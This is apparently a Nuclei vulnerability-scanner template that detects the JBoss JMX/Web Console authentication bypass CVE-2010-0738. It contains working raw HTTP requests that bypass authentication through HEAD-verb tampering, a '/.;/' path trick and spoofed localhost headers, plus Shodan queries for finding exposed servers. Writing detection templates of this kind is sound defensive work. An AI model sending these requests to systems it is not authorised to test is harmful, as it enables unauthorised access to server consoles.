JBoss JMX/Web Console - Authentication Bypass via HTTP Verb Tampering

id: CVE-2010-0738

info:
  name: JBoss JMX/Web Console - Authentication Bypass via HTTP Verb Tampering
  author: Hitesh from Securin Labs (https://securin.io)
  severity: critical
  description: |
    JBoss EAP 4.2 (before 4.2.0.CP09) and 4.3 (before 4.3.0.CP08) only enforce authentication for GET/POST on the JMX and Web consoles because the web.xml security-constraint enumerates only those verbs in <http-method>. Non-standard verbs such as HEAD skip the constraint, granting unauthenticated access to MBean operations (which can lead to remote code execution).
  impact: |
    Attackers can send requests to the JMX-Console GET handler using other HTTP methods, potentially leading to unauthorized access or control.
  remediation: |
    Update to version 4.2.0.CP09 or later for 4.2, and 4.3.0.CP08 or later for 4.3, or apply security patches provided by Red Hat.
  reference:
    - https://access.redhat.com/solutions/30744
    - https://github.com/joaomatosf/jexboss
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0738
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2010-0738
    cwe-id: CWE-288
  metadata:
    verified: true
    max-request: 6
    vendor: redhat
    product: jboss_enterprise_application_platform
    shodan-query:
      - http.html:"/jmx-console/"
      - http.title:"jboss"
      - cpe:"cpe:2.3:a:redhat:jboss_enterprise_application_platform"
    fofa-query: 'title="JBoss" && body="/jmx-console/"'
  tags: cve,cve2010,jboss,auth-bypass,verb-tampering,jmx

http:
  - raw:
      - |
        HEAD /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        X-Originating-IP: 127.0.0.1
        Referer: {{RootURL}}

      - |
        GET /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        X-Originating-IP: 127.0.0.1
        Referer: {{RootURL}}

    matchers:
      - type: dsl
        name: jmx-console-verb-bypass
        dsl:
          - "status_code_1 == 200 && (status_code_2 == 401 || status_code_2 == 403)"

    extractors:
      - type: dsl
        dsl:
          - "'jmx-console verb-tampering: HEAD=' + to_string(status_code_1) + ' GET=' + to_string(status_code_2)"

  - raw:
      - |
        GET /jmx-console/.;/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        X-Originating-IP: 127.0.0.1
        Referer: {{RootURL}}

      - |
        GET /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        X-Originating-IP: 127.0.0.1
        Referer: {{RootURL}}

    matchers:
      - type: dsl
        name: jmx-console-path-normalization-bypass
        dsl:
          - "status_code_1 == 200 && (status_code_2 == 401 || status_code_2 == 403) && contains(body_1, 'jboss.system:type=ServerInfo')"

    extractors:
      - type: dsl
        dsl:
          - "'jmx-console /.;/ bypass: normalized=' + to_string(status_code_1) + ' baseline=' + to_string(status_code_2)"

  - raw:
      - |
        HEAD /web-console/ServerInfo.jsp HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        X-Originating-IP: 127.0.0.1
        Referer: {{RootURL}}

      - |
        GET /web-console/ServerInfo.jsp HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: 127.0.0.1
        X-Originating-IP: 127.0.0.1
        Referer: {{RootURL}}

    matchers:
      - type: dsl
        name: web-console-verb-bypass
        dsl:
          - "status_code_1 == 200 && (status_code_2 == 401 || status_code_2 == 403)"

    extractors:
      - type: dsl
        dsl:
          - "'web-console verb-tampering: HEAD=' + to_string(status_code_1) + ' GET=' + to_string(status_code_2)"
# digest: 4b0a004830460221008581867a186fe2fb00276ea5ad36dec5a64f0c9acd16a2c8222163abd7e314f70221008fc6207ca36445c67b0b4c2aa2e793c988d2e9d218b2348e73278e68b4167cd7:922c64590222798bb761d5b6d8e72950